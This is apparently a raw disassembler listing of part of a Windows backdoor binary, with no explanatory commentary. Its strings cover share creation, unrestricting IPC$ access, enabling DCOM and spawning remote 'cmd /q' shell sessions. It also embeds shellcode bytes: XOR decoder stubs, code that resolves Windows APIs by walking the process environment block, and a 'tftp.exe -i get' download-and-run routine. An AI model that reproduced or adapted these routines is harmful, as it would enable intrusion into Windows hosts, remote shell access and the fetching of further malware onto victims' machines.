aFailedToAddSSh	db ' Failed to add ',27h,'%s',27h,' share.',0
		align 10h
unk_433760	db    2			; DATA XREF: sub_4162AC+198o
					; sub_4162AC+269o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSAdded_	db ' Share ',27h,'%s',27h,' added.',0
		align 10h
unk_433790	db    2			; DATA XREF: sub_4162AC:loc_4163D3o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpen_0	db ' Failed to open IPC$ restriction registry key.',0
		align 4
unk_4337DC	db    2			; DATA XREF: sub_4162AC:loc_4163B5o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aUnrestrictedAc	db ' Unrestricted access to the IPC$ Share.',0
unk_433820	db    2			; DATA XREF: sub_4162AC+102o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToUnrest	db ' Failed to unrestrict access to the IPC$ Share.',0
dword_43386C	dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
					; DATA XREF: sub_4162AC:loc_416319o
		dd 2202967h, 2002BBBBh,	4F434420h, 6E65204Dh, 656C6261h
		dd 2E64h
unk_433898	db    2			; DATA XREF: sub_4162AC+66o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aEnableDcomFail	db ' Enable DCOM failed.',0
		align 4
word_4338CC	dw 59h			; DATA XREF: sub_4162AC+38r
		align 10h
dword_4338D0	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4165C6+DEo
		dd 2029671Fh, 2BBBB02h
aWaitformultipl	db '  WaitForMultipleObjects error: <%d>.',0
		align 4
dword_433914	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4165C6+59o
					; sub_4165C6+8Bo
		dd 2029671Fh, 2BBBB02h
aFailedToCrea_0	db '  Failed to create ReadShell session thread, error: <%d>.',0
		align 4
dword_43396C	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_416717+AFo
		dd 2029671Fh, 2BBBB02h
aFailedToExecut	db '  Failed to execute shell.',0
		align 4
dword_4339A4	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_416717+7Eo
		dd 2029671Fh, 2BBBB02h
aFailedToCrea_1	db '  Failed to create shell stdin pipe, error: <%d>.',0
		align 4
dword_4339F4	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_416717+5Co
		dd 2029671Fh, 2BBBB02h
aFailedToCrea_2	db '  Failed to create shell stdout pipe, error: <%d>.',0
		align 4
dword_433A44	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_416810+C3o
		dd 2029671Fh, 2BBBB02h
aFailedToExec_0	db '  Failed to execute shell, error: <%d>.',0
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_416810+8Co
		align 10h
dword_433A90	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4168E9+A1o
		dd 2029671Fh, 2BBBB02h
aSessionreadshe	db '  SessionReadShellThread exited, error: <%ld>.',0
		align 4


loc_433ADC:				; DATA XREF: sub_416C55+C4o
		jmp	short loc_433AE0
; ---------------------------------------------------------------------------


loc_433ADE:				; CODE XREF: ___:loc_433AE0p
		jmp	short loc_433AE5
; ---------------------------------------------------------------------------


loc_433AE0:				; CODE XREF: ___:loc_433ADCj
		call	loc_433ADE


loc_433AE5:				; CODE XREF: ___:loc_433ADEj
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_433AEA	dw 0FFFFh		; DATA XREF: sub_416C55+CCw
		db 80h,	73h, 0Eh
byte_433AEF	db 0FFh			; DATA XREF: sub_416C55+D3w
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_433AF4:				; DATA XREF: sub_416C55+A2o
		jmp	short loc_433AF8
; ---------------------------------------------------------------------------


loc_433AF6:				; CODE XREF: ___:loc_433AF8p
		jmp	short loc_433AFD
; ---------------------------------------------------------------------------


loc_433AF8:				; CODE XREF: ___:loc_433AF4j
		call	loc_433AF6


loc_433AFD:				; CODE XREF: ___:loc_433AF6j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_433B01	db 0FFh			; DATA XREF: sub_416C55+AAw
		dw 7380h
		db 0Ch
byte_433B05	db 0FFh			; DATA XREF: sub_416C55+B0w
		dw 0E243h
		dd 0F9h
dword_433B0C	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_416ADE+57o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_433B70	dd 12h			; DATA XREF: sub_416ADE+3Dw
aTftp_exeIGet	db 'tftp.exe -i  get ',0 ; DATA XREF: sub_416ADE+79o
aJ		db 'j',0
		db 0E8h
dword_433B89	dd 17h			; DATA XREF: sub_416ADE+4Dw
; ---------------------------------------------------------------------------
		jnz	short near ptr byte_433B90
		retn
; ---------------------------------------------------------------------------
byte_433B90	db 0E8h			; CODE XREF: ___:00433B8Dj
dword_433B91	dd 1			; DATA XREF: sub_416ADE+45w
byte_433B95	db 0, 6Ah, 0		; DATA XREF: sub_416ADE+C2o
		dd 7E8h
		db 0, 0Fh, 84h
dword_433B9F	dd 0FFFFFFEDh		; DATA XREF: sub_416ADE+5Dw
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 10h
aThreadList	db '-[Thread List]-',0
aSNoSThreadFoun	db '%s: No %s thread found.',0 ; DATA XREF: sub_416FEA+51o
aSSStopped_DThr	db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_416FEA+35o
dword_433C20	dd 29E2C0h		; DATA XREF: sub_417302+4w sub_41730Cr ...
		align 10h
dword_433C30	dd 173Fh		; DATA XREF: sub_417CA4+Dr
		dd 9875h, 9873h
off_433C3C	dd offset sub_417D73	; DATA XREF: ___:00419AB8r
		dd offset nullsub_2
		dd offset nullsub_2
dword_433C48	dd 1B3Fh		; DATA XREF: sub_417DEB+Dr
dword_433C4C	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41826D+2o
					; sub_418276+2o
off_433C60	dd offset sub_419AF6	; DATA XREF: sub_419CDA+1Cr
dword_433C64	dd 2			; DATA XREF: sub_41F84C+Er
					; sub_41F885+46r ...
off_433C68	dd offset aNull_0	; DATA XREF: sub_419E38:loc_41A19Cr
					; sub_419E38+457r
					; "(null)"
off_433C6C	dd offset aNull		; DATA XREF: sub_419E38+259r
					; "(null)"
off_433C70	dd offset word_433C7A	; DATA XREF: sub_417794+23r
					; sub_417794:loc_4177F5r ...
off_433C74	dd offset word_433C7A	; DATA XREF: sub_422EB1+18r
		db 2 dup(0)
word_433C7A	dw 20h			; DATA XREF: sub_42102E+18r
					; ___:off_433C70o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_433E7C	dd 1			; DATA XREF: sub_417794:loc_41779Cr
					; sub_417794:loc_4177E0r ...
byte_433E80	db 2Eh			; DATA XREF: sub_41C86F:loc_41C8AFr
					; sub_41C8C9+4r ...
		align 4
		dd 1, 10h, 0
off_433E90	dd offset off_433E90	; DATA XREF: sub_41B888+Do
					; sub_41B888+69o ...
off_433E94	dd offset off_433E90	; DATA XREF: sub_41B888:loc_41B908r
					; sub_41B888+89w ...
		dd offset dword_433EA8
		dd offset dword_433EA8
dword_433EA0	dd 0FFFFFFFFh		; DATA XREF: sub_41B888r
					; sub_41B9CC:loc_41BA19w
		dd 0FFFFFFFFh
dword_433EA8	dd 0F0h, 0F1h, 4E6h dup(0) ; DATA XREF:	___:00433E98o
					; ___:00433E9Co
		db 0
byte_435249	db 3 dup(0)		; DATA XREF: ___:off_4274DCo
		dd 319h	dup(0)
off_435EB0	dd offset off_433E90	; DATA XREF: sub_41B9CC+15r
					; sub_41B9CC+20w ...
dword_435EB4	dd 1E0h			; DATA XREF: sub_417BC7:loc_417C03r
					; sub_41944F+185r ...
dword_435EB8	dd 14h			; DATA XREF: sub_41C5B8+2o
off_435EBC	dd offset aExp		; DATA XREF: sub_41C5B8:loc_41C5D5r
					; "exp"
		dd 1Dh,	42480Ch, 1Ah, 424808h, 1Bh, 424800h, 1Fh, 4247F8h
		dd 13h,	4247F0h, 21h, 4247E8h, 0Eh, 4247E0h, 0Dh, 4247D8h
		dd 0Fh,	4247D0h, 10h, 4247C8h, 5, 4247C0h, 1Eh,	4247BCh
		dd 12h,	4247B8h, 20h, 4247B4h, 0Ch, 4247ACh, 0Bh, 4247A4h
		dd 15h,	42479Ch, 1Ch, 424794h, 19h, 42478Ch, 11h, 424784h
		dd 18h,	42477Ch, 16h, 424774h, 17h, 42476Ch, 22h, 424768h
		dd 23h,	424764h, 24h, 424760h
dbl_435F90	dq 1.797693134862316e308 ; DATA	XREF: sub_41C2F3+B7r
					; sub_41C2F3:loc_41C3DAr ...
		dd 0
		dd 0FFF80000h
dbl_435FA0	dq 1.797693134862316e308 ; DATA	XREF: sub_41C2F3+92r
					; sub_41C2F3:loc_41C3B2r ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_435FB8	dt 2.3562723457267347066e313 ; DATA XREF: sub_41C7A0+Dr
					; sub_41C7A0+1Fr
		align 4
tbyte_435FC4	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_41C7A0+31r
		align 10h
off_435FD0	dd offset sub_41CC34	; DATA XREF: sub_417D8B+Fw
					; sub_419E38+3AAr
off_435FD4	dd offset sub_41C8C9	; DATA XREF: sub_417D8B+5w
					; sub_419E38+3E2r
off_435FD8	dd offset sub_41C92F	; DATA XREF: sub_417D8B+14w
					; sub_41D797+430r
off_435FDC	dd offset sub_41C86F	; DATA XREF: sub_417D8B+1Ew
					; sub_419E38+3CBr
off_435FE0	dd offset sub_41C917	; DATA XREF: sub_417D8B+28w
off_435FE4	dd offset sub_41CC34	; DATA XREF: sub_417D8B+32w
		dd offset sub_42086E
		align 10h
		dd offset sub_41D4FC
off_435FF4	dd offset sub_41D4FC	; DATA XREF: sub_41D552+29r
dword_435FF8	dd 0D2D0920h, 5Dh	; DATA XREF: sub_41D797:loc_41DCFEo
dword_436000	dd 5Dh,	0		; DATA XREF: sub_41D797:loc_41DBEEo
byte_436008	db 1			; DATA XREF: sub_41E92D+E1r
		db 2, 4, 8
		align 10h
dword_436010	dd 3A4h			; DATA XREF: sub_41E92D+2Fo
dword_436014	dd 82798260h, 21h, 0	; DATA XREF: sub_41E92D+11Dr
dword_436020	dd 0DFA6h		; DATA XREF: sub_41E92D+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_436100	dd 1			; DATA XREF: sub_41E92D+3Co
					; sub_41EF44+Co
dword_436104	dd 16h			; DATA XREF: sub_41EF44:loc_41EF79r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_436268	dd 0C0000005h		; DATA XREF: sub_41EF44+19o
					; sub_41F0EC+Ar ...
dword_43626C	dd 0Bh			; DATA XREF: sub_421D69+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_4362E0	dd 3			; DATA XREF: ___:0041F003r
					; sub_421C3C+C8r
dword_4362E4	dd 7			; DATA XREF: ___:0041F009r
					; sub_421C3C+CDr
dword_4362E8	dd 0Ah			; DATA XREF: sub_41F0EC+4r
					; sub_421D69+4r
dword_4362EC	dd 8Ch			; DATA XREF: ___:0041F02Dr
					; ___:0041F03Aw ...
dword_4362F0	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_419D23:loc_419DE0o
					; sub_41E248:loc_41E2C9o
dword_4362F8	dd 2			; DATA XREF: sub_41F885+Eo
					; sub_41F885+28r
off_4362FC	dd offset aR6002FloatingP ; DATA XREF: sub_41F885+FCr
					; sub_41F885+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 424B2Ch, 9, 424B00h, 0Ah,	424ADCh, 10h, 424AB0h
		dd 11h,	424A80h, 12h, 424A5Ch, 13h, 424A30h, 18h, 4249F8h
		dd 19h,	4249D0h, 1Ah, 424998h, 1Bh, 424960h, 1Ch, 424938h
		dd 78h,	424928h, 79h, 424918h, 7Ah, 424908h, 0FCh, 42A3B0h
		dd 0FFh, 4248F8h
off_436388	dd offset dword_4CDCC0	; DATA XREF: sub_41F885+1Bo
					; sub_41FA42+55o
		align 10h
		dd offset dword_4CDCC0
		dd 101h
dword_436398	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41FA42+72o
		dd 1000h, 0
dword_4363A8	dd 3 dup(0)		; DATA XREF: sub_419D23+50o
					; sub_41A8A2+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_4363C8	dd 3 dup(0)		; DATA XREF: sub_419D23+58o
					; sub_41A8A2:loc_41A8C0o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_4363F8	dd 84h dup(0)		; DATA XREF: sub_41FA42+9Bo
dword_436608	dd 2694h		; DATA XREF: sub_41BF55+3r
					; sub_41BFA8+46r ...
		align 10h
dword_436610	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_42064Eo
dword_436628	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_420664o
dword_436640	dd 7080h		; DATA XREF: sub_41D609+76r
					; sub_42094E+5Ew ...
dword_436644	dd 1			; DATA XREF: sub_41D609+98r
					; sub_42094E+8Bw ...
dword_436648	dd 0FFFFF1F0h		; DATA XREF: sub_41D609:loc_41D6BBr
					; sub_42094E+94w ...
off_43664C	dd offset loc_54534F+1	; DATA XREF: ___:off_4366CCo
		dd 0Fh dup(0)
off_43668C	dd offset off_544450	; DATA XREF: ___:off_4366D0o
		dd 0Fh dup(0)
off_4366CC	dd offset off_43664C	; DATA XREF: sub_42094E+BAr
					; sub_42094E+D9r ...
off_4366D0	dd offset off_43668C	; DATA XREF: sub_42094E+F4r
					; sub_42094E+11Br ...
		align 8
dword_4366D8	dd 0FFFFFFFFh		; DATA XREF: sub_42094E+1Dw
					; sub_420BAC+1Er ...
dword_4366DC	dd 0			; DATA XREF: sub_420BAC:loc_420CE0r
					; sub_420D58+BFw
dword_4366E0	dd 0			; DATA XREF: sub_420BAC+192r
					; sub_420D58+E0w
		align 8
dword_4366E8	dd 0FFFFFFFFh		; DATA XREF: sub_42094E+17w
					; sub_420BAC+26r ...
dword_4366EC	dd 0			; DATA XREF: sub_420BAC+13Ar
					; sub_420D58+EAw ...
dword_4366F0	dd 0			; DATA XREF: sub_420BAC+1A1r
					; sub_420D58+23r ...
dword_4366F4	dd 0FFFFFFFFh		; DATA XREF: sub_420D58+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_436724	dd 16Dh			; DATA XREF: sub_41D609+2Ar
					; sub_420D58+2Er ...
dword_436728	dd 0FFFFFFFFh		; DATA XREF: sub_420D58:loc_420DE4r
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_436760	dd 2 dup(0)		; DATA XREF: sub_4220C1+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_4368C0	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_4220C1+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_436A1C	dd offset off_424D00	; DATA XREF: ___:00424EDCo
					; ___:00424FC8o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_436A34	dd offset off_424D00	; DATA XREF: ___:off_424D90o
					; ___:00424DD0o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_436A54	dd offset off_424D00	; DATA XREF: ___:off_424DD8o
					; ___:00424E1Co ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_436A74	dd offset off_424D00	; DATA XREF: ___:off_424E24o
					; ___:00424E68o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 8
off_436A98	dd offset off_424D00	; DATA XREF: ___:off_424E70o
					; ___:00424EACo
		align 10h
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_42086E
		align 8
byte_436AB8	db 0			; DATA XREF: sub_40144A+1D3w
					; sub_40144A+2D2o
		align 2
word_436ABA	dw 0			; DATA XREF: sub_40144A+1E3w
word_436ABC	dw 0			; DATA XREF: sub_40144A+1E9w
word_436ABE	dw 0			; DATA XREF: sub_40144A+1F0w
byte_436AC0	db 0			; DATA XREF: sub_40144A+1F7w
byte_436AC1	db 0			; DATA XREF: sub_40144A+1FEw
word_436AC2	dw 0			; DATA XREF: sub_40144A+204w
dword_436AC4	dd 0			; DATA XREF: sub_40144A+234w
					; sub_40144A+250w
dword_436AC8	dd 0			; DATA XREF: sub_40144A+258w
byte_436ACC	db 0			; DATA XREF: sub_40144A+26Aw
byte_436ACD	db 0			; DATA XREF: sub_40144A+27Dw
word_436ACE	dw 0			; DATA XREF: sub_40144A+295w
word_436AD0	dw 0			; DATA XREF: sub_40144A+2A4w
word_436AD2	dw 0			; DATA XREF: sub_40144A+29Cw
dword_436AD4	dd 101h	dup(0)		; DATA XREF: sub_40144A+2B9o
dword_436ED8	dd 0			; DATA XREF: sub_4029E9+9Eo
byte_436EDC	db 0			; DATA XREF: sub_4029E9+36r
					; sub_402ACC+37r ...
		align 10h
dword_436EE0	dd 0			; DATA XREF: sub_4030D1+10w
					; sub_4030E8+30r ...
		dd 2 dup(0)
dword_436EEC	dd 2 dup(0)		; DATA XREF: sub_403EBA+68o
dword_436EF4	dd 0			; DATA XREF: sub_40395A+13o
					; sub_40EE72+610Do ...
dword_436EF8	dd 0			; DATA XREF: sub_404853+8w
					; ___:00404C22o
		align 10h
dword_436F00	dd 2 dup(0)		; DATA XREF: ___:00404B58o
dword_436F08	dd 0			; DATA XREF: sub_4059DB+2Aw
					; sub_4059DB+51r ...
dword_436F0C	dd 0			; DATA XREF: sub_4030E8+AEr
					; ___:004042D4r ...
		dd 2 dup(0)
dword_436F18	dd 0			; DATA XREF: sub_4071DB+18r
					; sub_40762E+92w ...
dword_436F1C	dd 0			; DATA XREF: sub_407767+4Dr
					; sub_40797F+D9w ...
		dd 7FEh	dup(0)
dword_438F18	dd 6 dup(0)		; DATA XREF: sub_407767+D2o
					; sub_407767+13Bo ...
dword_438F30	dd 0			; DATA XREF: sub_407252+82w
					; sub_407252+102o
dword_438F34	dd 41h dup(0)		; DATA XREF: sub_407252+41o
dword_439038	dd 41h dup(0)		; DATA XREF: sub_407252+63o
dword_43913C	dd 0			; DATA XREF: sub_407252+F8w
					; sub_407252+114r
dword_439140	dd 0			; DATA XREF: sub_407252+52w
dword_439144	dd 0			; DATA XREF: sub_407252+4Dw
					; sub_407252+CFr
dword_439148	dd 20h dup(0)		; DATA XREF: sub_407252+9Ao
					; sub_407252+BAo
dword_4391C8	dd 0			; DATA XREF: sub_407252+8Fw
dword_4391CC	dd 0			; DATA XREF: sub_407252+A7w
					; sub_407252+C7w
dword_4391D0	dd 0			; DATA XREF: sub_407252:loc_40737Cr
		align 8
dword_4391D8	dd 0			; DATA XREF: sub_407252+2D5w
					; sub_407252+32Eo
dword_4391DC	dd 0A2h	dup(0)		; DATA XREF: sub_407252+2C3o
dword_439464	dd 41h dup(0)		; DATA XREF: sub_407252+28Do
dword_439568	dd 0			; DATA XREF: sub_407252+2BAw
					; sub_407252+2E1r
		align 10h
dword_439570	dd 0			; DATA XREF: sub_407252+324w
					; sub_407252+340r
dword_439574	dd 0			; DATA XREF: sub_407252+2E7w
dword_439578	dd 0			; DATA XREF: sub_407252+2F4w
dword_43957C	dd 0			; DATA XREF: sub_407252+2B4w
		dd 0
dword_439584	dd 0			; DATA XREF: sub_407252:loc_4075A8r
dword_439588	dd 0			; DATA XREF: sub_407252+1A1w
					; sub_407252+221o
dword_43958C	dd 41h dup(0)		; DATA XREF: sub_407252+163o
dword_439690	dd 41h dup(0)		; DATA XREF: sub_407252+182o
dword_439794	dd 0			; DATA XREF: sub_407252+217w
					; sub_407252+233r
dword_439798	dd 0			; DATA XREF: sub_407252+171w
dword_43979C	dd 0			; DATA XREF: sub_407252+1EEr
dword_4397A0	dd 20h dup(0)		; DATA XREF: sub_407252+1B9o
					; sub_407252+1D9o
dword_439820	dd 0			; DATA XREF: sub_407252+1AEw
dword_439824	dd 0			; DATA XREF: sub_407252+1C6w
					; sub_407252+1E6w
dword_439828	dd 0			; DATA XREF: sub_407252:loc_40749Cr
		align 10h
dword_439830	dd 0			; DATA XREF: sub_4087EE+Fr
					; sub_4089E7+12r
		align 8
dword_439838	dd 80h dup(0)		; DATA XREF: sub_409706+41o
dword_439A38	dd 200h	dup(0)		; DATA XREF: sub_409037+C7o
					; sub_409392+DDo ...
dword_43A238	dd 200h	dup(0)		; DATA XREF: sub_409037+D6o
					; sub_409392+F4o ...
dword_43AA38	dd 0			; DATA XREF: sub_409037+86w
					; sub_409209+94r
dword_43AA3C	dd 0			; DATA XREF: sub_409037+A7w
					; sub_40966F+55r ...
dword_43AA40	dd 0			; DATA XREF: sub_409037+A0w
					; sub_409209+D6r ...
dword_43AA44	dd 0			; DATA XREF: sub_409037+79w
					; sub_409209+35r ...
dword_43AA48	dd 80h dup(0)		; DATA XREF: sub_40966F+5Eo
dword_43AC48	dd 0			; DATA XREF: sub_409037+93w
					; sub_409209+A2r
		align 10h
dword_43AC50	dd 0			; DATA XREF: sub_409037+E7o
					; sub_409037+103r ...
dword_43AC54	dd 0			; DATA XREF: sub_409392+17Bw
					; sub_409539+107w
dword_43AC58	dd 0			; DATA XREF: sub_409392+180w
					; sub_409539+10Dw ...
dword_43AC5C	dd 0			; DATA XREF: sub_409392+159w
					; sub_40966F+4Fr
dword_43AC60	dd 0			; DATA XREF: sub_4085B3+210r
					; sub_4085B3+21Ar ...
dword_43AC64	dd 0			; DATA XREF: sub_40981F+65w
					; sub_41518A+F5r
dword_43AC68	dd 0			; DATA XREF: sub_40981F+7EDw
					; sub_40981F+862r ...
dword_43AC6C	dd 0			; DATA XREF: sub_40981F+9BAw
					; sub_40981F+A18r ...
dword_43AC70	dd 0			; DATA XREF: sub_40981F+96Cw
					; sub_40981F+9E8r ...
dword_43AC74	dd 0			; DATA XREF: sub_4085B3+D1r
